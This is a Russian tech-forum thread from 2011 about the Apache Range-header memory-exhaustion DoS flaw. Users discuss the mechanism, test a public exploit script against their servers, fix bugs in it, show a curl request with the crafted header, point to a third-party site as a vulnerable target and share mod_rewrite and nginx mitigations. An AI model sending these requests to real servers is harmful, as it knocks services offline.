форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка

Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от opennews (??) on 24-Авг-11, 22:03
В http-сервере Apache найдена (http://www.gossamer-threads.com/lists/apache/dev/401638) опасная уязвимость, позволяющая вызвать отказ в обслуживании через исчерпание всей доступной памяти. Опасность уязвимости усугубляется тем, что для её осуществления уже доступен готовый эксплоит (http://seclists.org/fulldisclosure/2011/Aug/175), позволяющий совершить атаку с одной машины с генерацией минимального трафика. Проблема вызвана ошибкой (https://issues.apache.org/bugzilla/show_bug.cgi?id=51714) в реализации поддержки загрузки части файла по указанному диапазону (Range). Ошибка связана с тем, что при обработке запроса, содержащего большое число диапазонов (например, "Range:bytes=0-,5-1,5-2,5-3,...,5-1000"), расходуется слишком много памяти. Для исчерпания памяти достаточно отправить около 50 подобных запросов на сервер. Проблема присутствует в Apache 2.x, включая последний релиз 2.2.19. Исправление пока доступно в виде патча (http://www.gossamer-threads.com/lists/apache/dev/401638)... URL: http://secunia.com/advisories/45606/ Новость: https://www.opennet.ru/opennews/art.shtml?num=31582
Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

1. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+6 +/–
Сообщение от Аноним (??) on 24-Авг-11, 22:03
Какая прелесть :3
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
Сообщение от Сергей (??) on 24-Авг-11, 22:15
У меня на apache-1.3.42 говорит "Host does not seem vulnerable"
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	3. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+7 +/–
	Сообщение от Mikk (??) on 24-Авг-11, 22:28
	Да, твой апач безусловно важен, но тут по близости ещё пара десятков миллионов апачей вертятся ;)
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	61. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
	Сообщение от Аноним (??) on 25-Авг-11, 14:23
	> У меня на apache-1.3.42 говорит "Host does not seem vulnerable" Этот особо-раритетный апач и так легко DoSится запуском ab2/siege/http_load/зажатой F5 в браузере, даже на тощем канале. Просто пускаем к нему пару сотен соединений и забираем из них данные с чебурашьей скоростью. Апач дает дуба, форкнув 200 процессов и съев всю память (если сервер мощный, может потребоваться чуть больше соединений). Какая разница, свалить апач кривыми запросами или 200 соединениями? Обе атаки требуют от атакующего ничтожное количество ресурсов по сравнению с тем что выжрет сервер.
	Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

	116. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Michael Shigorin (ok) on 29-Авг-11, 10:15
	> Какая разница, свалить апач кривыми запросами или 200 соединениями? (косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду?
	Ответить | Правка | ^ к родителю #61 | Наверх | Cообщить модератору

	121. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 05-Сен-11, 17:03
	> (косясь на 1.3 за nginx) Кто ж вам даст-то 200 коннекшенов прямо к бэкенду? Во-во, костыль подставили - и вроде уже и не инвалид :). Вы б еще кеш на нжинксе настроили и сказали что апач не тормозит :D. Хотя не тормозит - нжинкс. А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора.
	Ответить | Правка | ^ к родителю #116 | Наверх | Cообщить модератору

	122. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Michael Shigorin (ok) on 05-Сен-11, 18:47
	> А вот опач будучи вывешенным в интернет как есть - просто находка для юного хаксора. Это смотря какой и что за ним дальше болтается... думаю, у меня апач -- не самое вкусное место даже и не для очень юного хаксора.  Хотя модуль неуловимости помогает ещё больше. :)
	Ответить | Правка | ^ к родителю #121 | Наверх | Cообщить модератору

	124. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 23-Сен-11, 19:38
	> апач -- не самое вкусное место даже и не для очень юного хаксора.   Тем не менее, любителей уронить вывешенный напрямую апач в интернете навалом.
	Ответить | Правка | ^ к родителю #122 | Наверх | Cообщить модератору

4. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
Сообщение от Аноним (??) on 24-Авг-11, 22:32
nginx наше фсио
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	5. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+2 +/–
	Сообщение от ALHSLeo (ok) on 24-Авг-11, 22:40
	> nginx наше фсио Nginx не поможет, если он в роли фронтенда. Проткстировал на куче своих хостов - результат не однозначный, то-есть 1 и таже машина - 1 хост убивается 1000 форков, другой нет, а точнее - если страница использует сжатие гзипом - то заваливает, если не использует - то всё нормально, на остальных машинах поведение такое-же. Добавление строк в хтаксесс помогает, бешеное количество детей у апача не появляется, значит и память с процом не жрёт ( в тестовом скрипте увеличил количество форков до 1000 ). По сути - на момент запуска скрипта апач выедает весь проц, и за ним всю память, что вполне логично приводит к ддос-у.
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

	37. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 04:01
	> Nginx не поможет, если он в роли фронтенда. Да уж, тут должен доктор помогать. А чем он плох как бэкэнд с fastcgi например?
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

	58. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
	Сообщение от Andrew Kolchoogin on 25-Авг-11, 13:14
	Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных .htaccess в nginx нет и не будет. Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI -- не выход, увы.
	Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

	62. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от uldus (ok) on 25-Авг-11, 14:24
	> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных > .htaccess в nginx нет и не будет. На самом деле, эмулировать .htaccess в  nginx достаточно легко. Как правило специфика хостинга  не требуют приема изменений из .htaccess в режиме реального времени, а использование .htaccess сводится к редиректам и подключению своих обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в формат nginx и подключать к нему итоговый набор созданных на основе .htaccess правил через include.
	Ответить | Правка | ^ к родителю #58 | Наверх | Cообщить модератору

	64. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 15:00
	>> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных >> .htaccess в nginx нет и не будет. > На самом деле, эмулировать .htaccess в  nginx достаточно легко. Как правило > специфика хостинга  не требуют приема изменений из .htaccess в режиме > реального времени, а использование .htaccess сводится к редиректам и подключению своих > обработчиков несуществующих страниц. Т.е. можно вызывать процесс через cron раз в > минуту, проверять появление новых .htaccess и изменение старых, преобразовывать их в > формат nginx и подключать к нему итоговый набор созданных на основе > .htaccess правил через include. Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать .htaccess, мне ставить отдельную машинку под ваше решение?
	Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

	74. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от brzm on 25-Авг-11, 17:31
	Если у вас 5 млн. директорий, то хостинг крупный и от ещё одной машинки от вас не убудет, благо оно того стоит. Ну и к тому же можно сделать удобную закладочку в панели хостинга с настройкой этих самых .htaccess по папкам с изменением по запросу.
	Ответить | Правка | ^ к родителю #64 | Наверх | Cообщить модератору

	81. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 20:20
	> Если у вас 5 млн. директорий, то хостинг крупный и от ещё > одной машинки от вас не убудет, благо оно того стоит. Ну > и к тому же можно сделать удобную закладочку в панели хостинга > с настройкой этих самых .htaccess по папкам с изменением по запросу. Да нет, такое можно наблюдать даже у одного достаточно крупного сайта, на одной машинке. Под моим управлением есть сайты с 30млн файлами и 1млн дир. Ну и вы и/о винтов для таких костылей подарите? Это как правило оказывается самым узким местом.
	Ответить | Правка | ^ к родителю #74 | Наверх | Cообщить модератору

	104. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 19:47
	> 1млн дир. Ну и вы и/о винтов для таких костылей подарите? > Это как правило оказывается самым узким местом. Действительно, на htaccess много лишнего IO делается. Поэтому маздай.
	Ответить | Правка | ^ к родителю #81 | Наверх | Cообщить модератору

	77. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от uldus (ok) on 25-Авг-11, 19:37
	> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать > .htaccess, мне ставить отдельную машинку под ваше решение? Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess во всех директориях начиная с текущей и до корня. Вас никто не заставляет каждый раз сканировать все пользовательские директории, достаточно, например, отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или использовать специфичные для разных ОС механизмы нотификации изменения/создания файла с заданным именем.
	Ответить | Правка | ^ к родителю #64 | Наверх | Cообщить модератору

	80. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 20:16
	>> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать >> .htaccess, мне ставить отдельную машинку под ваше решение? > Костыли - это в Apache, который на каждый запрос проверяет наличие .htaccess > во всех директориях начиная с текущей и до корня. Апач позволяет выбрать то, что нужно вам, а не пользоваться тем, что есть и не изобретать костыли. Если нужно - можете отключить .htaccess, если нужно, то апач может искать .htaccess только в корневой дире виртуалхоста, ну или можно задать поиск по полной. >Вас никто > не заставляет каждый раз сканировать все пользовательские директории, достаточно, например, > отслеживать изменения, просматривая часть лога FTP с момента прошлого просмотра. Или > использовать специфичные для разных ОС механизмы нотификации изменения/создания файла > с заданным именем. По вашему это будет работать? ок, пишите, мы посмотрим и оценим.
	Ответить | Правка | ^ к родителю #77 | Наверх | Cообщить модератору

	98. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 18:56
	> По вашему это будет работать? ок, пишите, мы посмотрим и оценим. А вы адресок апача то своего опубликуйте, чтобы окружаюшие могли посмотреть и ОЦЕНИТЬ как оно у вас работает с вашим выбором ;)
	Ответить | Правка | ^ к родителю #80 | Наверх | Cообщить модератору

	102. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 19:08
	> Вот это костыли так костыли.... у меня 5млн. дирректорий, где могут работать > .htaccess, Вот это я понимаю, костыли так костыли! При том что 5 млн дир и так не подарок, в каждой дергаться на поиск htaccess - вот это и правда мегакостыль. Столько ненужных операций при запросах что просто жесть. Кстати можно вообще сервак выключить, чтоб уж наверняка не осилил запросы обслуживать.
	Ответить | Правка | ^ к родителю #64 | Наверх | Cообщить модератору

	63. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
	Сообщение от Аноним (??) on 25-Авг-11, 14:30
	> Высокая производительность nginx даром не даётся: из-за особенностей его архитектуры Apache'ных > .htaccess в nginx нет и не будет. Куда и дорога, пожалуй. Довольно дурное изобретение человечества. > Соответственно, там, где они нужны -- например, на shared-хостингах -- nginx+FastCGI -- > не выход, увы. А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш.
	Ответить | Правка | ^ к родителю #58 | Наверх | Cообщить модератору

	79. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+2 +/–
	Сообщение от klalafuda on 25-Авг-11, 20:16
	> А эти общественные туалеты вообще должны умереть лютой смертью. Задолбали уже случаями когда дыра в пионерском сайте приводит к слому сайта пятка солидных контор, просто потому что все валялось в общей помойке и пионерский сайт своей дырой подставил все остальные. Не говоря о том что если один пионер на уроке не поделил с другим ластик или карандаш, может оказаться завалена куча сайтов, просто потому что на том же апаче висел сайт пионера зажавшего карандаш. Шаред хостинг.. серьезные конторы.. Где подвох?
	Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

	99. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
	Сообщение от Аноним (??) on 26-Авг-11, 18:59
	> Шаред хостинг.. серьезные конторы.. Где подвох? В идиотах-менеджерах, вероятно.
	Ответить | Правка | ^ к родителю #79 | Наверх | Cообщить модератору

	6. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от TiGR on 24-Авг-11, 22:46
	Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать или нет?
	Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

	7. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+2 +/–
	Сообщение от ALHSLeo (ok) on 24-Авг-11, 22:48
	> Кстати да, если статику отдаёт nginx или другой сервер, то получится эксплуатировать > или нет? Получится, у меня таким образом и построено - нгинкс фронтенд+статика, за ним апачи, каждый в своей клетке. Так вот на статике всё прекрасно, а как только в дело вступает апач с динамикой+сжатие гзипом - то всё, завал апача на бакендах.
	Ответить | Правка | ^ к родителю #6 | Наверх | Cообщить модератору

	10. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от zm_michael on 24-Авг-11, 23:08
	а зачем апачи отдают сжатую динамику ? жмите в nginx.
	Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

	12. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от ALHSLeo (ok) on 24-Авг-11, 23:18
	> а зачем апачи отдают сжатую динамику ? жмите в nginx. Не всегда получается отдавать (обрабатывать) через нгинкс, некоторая часть хостов лоадбалансится нгинксом, а обрабатывают всё апачи, то-же самое и с самим нгинксом, он и так всё что может жмёт, и передаёт уже сжатое, но как написал ранее - не всегда такая схема работоспособна.
	Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

	105. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 19:48
	> Не всегда получается отдавать (обрабатывать) через нгинкс, Тем хуже для вас //Капитан.
	Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

9. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	–2 +/–
Сообщение от umbr (ok) on 24-Авг-11, 23:05
>при обработке запроса, содержащего большое число диапазонов...расходуется слишком много памяти Кто-нибудь знает, почему так?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	11. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 24-Авг-11, 23:11
	header which requests as many different bytes as possible from a file served by httpd. Combining this with a gzip "Accept-Encoding" header the httpd is assumed to compress each of the bytes requested in the Range header seperately consuming large memory regions. The behaviour when compressing the streams is devestating and can end up in rendering the underlying operating system unusable when the requests are sent parallely. Symptomps are swapping to disk and killing of processes including but not solely httpd processes. Запрос (в котором заказано сжатие) приходит на отдельные байты (на десятки тысяч байтов), и каждый байт начинает сжиматься отдельно. Запуск десятков тысяч экземпляров упаковщиков (в смысле вызов gz_* функций из libz) и подготовка буферов для них (не удивлюсь, если буфер выделяется с нехилым запасом) приводят к потреблению большого количества памяти и/или созданию большого количества временных файлов.
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

	13. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от umbr (ok) on 24-Авг-11, 23:27
	Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков?
	Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

	15. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 00:14
	> Т.е. проблема решается последовательной (а не параллельной, как сейчас) обработкой чанков? Апачевцы решили эту проблему блестяще - ограничили количество чанков десятью.
	Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

	16. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+6 +/–
	Сообщение от umbr (ok) on 25-Авг-11, 00:26
	"Главное — завалить, а там запинаем." (с) :)
	Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

	26. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 03:21
	Это было понятно еще когда они только начали делать бэкэнды с форками на каждого юзера. Поэтому то и рулят нжинкс или лайти + fastcgi. Им все это вообще пофиг, и запросом 100500 копий статики не завалишь. А нжинкс и динамику может весьма прикольно кешировать.
	Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

34. "ulimit "	–2 +/–
Сообщение от Евгений (??) on 25-Авг-11, 03:57
У меня  Apache 2.2.17 с Линусовским ядром 3.0.3, ubuntu 11.04 "сработало" #bash -c 'ulimit -v 10000 -m 4048;service apache2 restart' И система не грузилась очень (при 200 форках)  и веб сервис работал хотя и с замедленными. На 2.2.14 с ядром 2.16.35.14 пришлось увеличивать -m и -v
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	45. "ulimit "	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 10:16
	У меня Apache 2.2.3 c Линуксовым ядром 2.6.18, centos, нет даже лимитс: [root@801 ~]# limits -a -bash: limits: команда не найдена
	Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

	73. "ulimit "	–1 +/–
	Сообщение от Аноним (??) on 25-Авг-11, 17:31
	потому что ulimit
	Ответить | Правка | ^ к родителю #45 | Наверх | Cообщить модератору

41. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от Аноним (??) on 25-Авг-11, 07:47
Интересно, когда появится апдейт в репах centos.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

42. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от HappyAlex (ok) on 25-Авг-11, 08:40
протестировал у себя на серверах везде выдало Host does not seem vulnerable может просто сайты не использовали gzip хз апач 2.2.х
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	50. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от stimpack on 25-Авг-11, 11:06
	Partial не выдают в заголовках. См эксплойт внутри
	Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

	51. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
	Сообщение от Аноним (??) on 25-Авг-11, 11:21
	When using a third party attack tool to verify vulnerability - know that most of the versions in the wild currently check for the presence of mod_deflate; and will (mis)report that your server is not vulnerable if this module is not present. This vulnerability is not dependent on presence or absence of that module.
	Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

47. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+2 +/–
Сообщение от Bocha (??) on 25-Авг-11, 11:04
По-моему, DDoS Апача через исчерпание им всей памяти особой подготовки и специальных условий не требует, это скорее фича, чем баг. Я лично привык уже.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	68. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+1 +/–
	Сообщение от Аноним (??) on 25-Авг-11, 15:43
	> это скорее фича, чем баг. А это зависит от того за кого вы болеете - за администратора или за атакующего :). Если второе - да, конечно, это фича позволяющая легко уронить неугодный вам сайт :)))
	Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

48. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от Ващенаглухо (ok) on 25-Авг-11, 11:05
ограничить лимиты юзера под которым работает апач.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

49. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+3 +/–
Сообщение от stimpack on 25-Авг-11, 11:05
в эксплойте ошибка на 74й строке: if ($#ARGV > 1) { надо: if ($#ARGV > 0) { а еще правильнее: if ( @ARGV > 1 ) { плюс сохранен под виндой, конец строки виндовый (^M). буеееее...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	60. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 13:51
	>плюс сохранен под виндой, конец строки виндовый (^M). буеееее... Да там даже шебанга нет, и так все понятно.
	Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

52. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от Аноним (??) on 25-Авг-11, 11:46
попробуйте на статике использовать curl -I -H "Range: bytes=0-1,0-2" -s mysite.com/robots.txt HTTP/1.1 206 Partial Content Server: nginx/0.7.67 только вот если проверять статику то выходит ошибка: perl killapache.pl mysite.com/robots.txt 50 Can't use an undefined value as a symbol reference at killapache.pl line 57.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

53. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	–1 +/–
Сообщение от Аноним (??) on 25-Авг-11, 12:09
Кто-нибудь воспроизвел? Я пытался и на статике и на динамике и на голом апаче и на апаче за энжинксом - не получается, да скрипт генерит такие запросы (Range обрезал): HEAD / HTTP/1.1 Host: mysite.ru Range:bytes=0-,5-0,...5-129... Accept-Encoding: gzip Connection: close Запросы поступают, это видно через server-status, но память не исчерпывается, скрипт выводит такое: # perl killapache_pl.bin mysite.ru 50 host seems vuln ATTACKING mysite.ru [using 50 forks] :pPpPpppPpPPppPpppPp ATTACKING mysite.ru [using 50 forks] :pPpPpppPpPPppPpppPp ATTACKING mysite.ru [using 50 forks] ... апачи под фрей крутятся: # httpd -v Server version: Apache/2.2.17 (FreeBSD) Server built:   Mar 13 2011 07:43:51
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	54. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от stimpack on 25-Авг-11, 12:16
	vrt.kz - пример.
	Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

	55. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	–3 +/–
	Сообщение от Аноним (??) on 25-Авг-11, 12:26
	> vrt.kz - пример. Его похоже положили серьезно :) Как вообще должен сервак отвечать? должен ли задумываться? должны ли форки не завершаться, а виснуть или просто должны раздуваться в памяти? Попробовал вручную запустить команду, отрабатывает быстро и ничего не обычного у себя я не вижу (извиняюсь за длинный листинг): # curl -v -I -H "Range: bytes=0-,5-0,...-1299" -H "Accept-Encoding: gzip" -H "Connection: close" -s mysite.ru * About to connect() to mysite.ru port 80 (#0) *   Trying 1.1.1.1... connected * Connected to mysite.ru (1.1.1.1) port 80 (#0) > HEAD / HTTP/1.1 > User-Agent: curl/7.19.6 (i386-portbld-freebsd8.0) libcurl/7.19.6 OpenSSL/0.9.8q zlib/1.2.3 > Host: mysite.ru > Accept: */* > Range: bytes=0-,5-0,5-1,...5-1299 > Accept-Encoding: gzip > Connection: close > < HTTP/1.1 206 Partial Content HTTP/1.1 206 Partial Content < Date: Thu, 25 Aug 2011 08:19:51 GMT Date: Thu, 25 Aug 2011 08:19:51 GMT < Server: Apache Server: Apache < Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/ Set-Cookie: PHPSESSID=4efd497021eaf2fb4541fdd7858cb075; path=/ < Vary: Accept-Encoding,User-Agent Vary: Accept-Encoding,User-Agent < Content-Encoding: gzip Content-Encoding: gzip < Content-Length: 104705 Content-Length: 104705 < Connection: close Connection: close < Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657 Content-Type: multipart/byteranges; boundary=4ab5017c3c4a7f657 < * Closing connection #0
	Ответить | Правка | ^ к родителю #54 | Наверх | Cообщить модератору

	56. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от stimpack on 25-Авг-11, 12:46
	думаю, так: быстро-быстро-быстро, опа, память кончилась.
	Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

	69. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 16:00
	У сервера заканчивается свободная память, потом и своп, а потом возможны варианты.
	Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

	72. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 17:14
	> У сервера заканчивается свободная память, потом и своп, а потом возможны варианты. Во сколько потоков не запускаю - не вижу этого, хоть убейте.
	Ответить | Правка | ^ к родителю #69 | Наверх | Cообщить модератору

57. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от Аноним (??) on 25-Авг-11, 12:52
Там ошибка не только в 74 строке, тут скрипт справлен http://paste.org.ru/?v4he2b Но всеравно вылетает ошибка http://paste.org.ru/?emh2p8
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

59. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+2 +/–
Сообщение от igorya on 25-Авг-11, 13:21
если у кого остался апач версии 1.3, то пробелы нужно прописывать вот так: RewriteCond %{HTTP:Range} ([0-9]*-[0-9]*)([[:space:]]*,[[:space:]]*[0-9]*-[0-9]*)+ иначе не работает, у меня, по крайней мере именно так.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

70. "Решение для nginx-фронтенда"	+3 +/–
Сообщение от sergey (??) on 25-Авг-11, 16:04
Для nginx-фронтенда можно сделать так: В глобальную секцию(http или server) пишем:     set $range $http_range;     if ($http_range ~ "0-(,|$)"){             set $range "";     }     if ($http_range ~ "(.*,.*){4,}"){        set $range "";     } И в каждую секцию location, которая проксирует на apache добавляем: proxy_set_header "Range" $range;
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

75. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
Сообщение от CrOrc on 25-Авг-11, 18:08
Печально: даже www.apache.org реагирует на эту атаку.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	100. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 19:03
	> Печально: даже www.apache.org реагирует на эту атаку. That's what should be called EPIC fail!
	Ответить | Правка | ^ к родителю #75 | Наверх | Cообщить модератору

76. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
Сообщение от Аноним (??) on 25-Авг-11, 18:24
Скрипт не дает выбрать конкретный урл на файл. Кто в теме подскажите.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	78. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от Аноним (??) on 25-Авг-11, 20:09
	> Скрипт не дает выбрать конкретный урл на файл. > Кто в теме подскажите. чего?
	Ответить | Правка | ^ к родителю #76 | Наверх | Cообщить модератору

83. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
Сообщение от DiXaS on 26-Авг-11, 00:57
Выше изложенные варианты через mod_rewrite убоги. Вот вариант блокирующие более 4 диапазонов, без возможности "обхода": ~~~~~~~~~~~~~~ RewriteCond %{HTTP:Range} (\s*)(bytes|\w+?)(\s*)=(\s*)((\d*)(\s*)-(\s*)(\d*)(\s*)(,*)(\s*)){4,} [NC] RewriteRule .? http://%{SERVER_NAME}/ [NS,L,F] ~~~~~~~~~~~~~~
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	84. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 03:04
	Чем второй вариант не угодил?
	Ответить | Правка | ^ к родителю #83 | Наверх | Cообщить модератору

	87. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от DiXaS on 26-Авг-11, 11:50
	> Чем второй вариант не угодил? Тем что укажи пробел, или убери символ и все - защита не работает.
	Ответить | Правка | ^ к родителю #84 | Наверх | Cообщить модератору

	91. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 13:59
	>Тем что укажи пробел, или убери символ и все - защита не работает. Второй из представленных в новости вариантов защищает от таких ситуаций не хуже вашего и при этом проще.
	Ответить | Правка | ^ к родителю #87 | Наверх | Cообщить модератору

	97. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от DiXaS on 26-Авг-11, 15:56
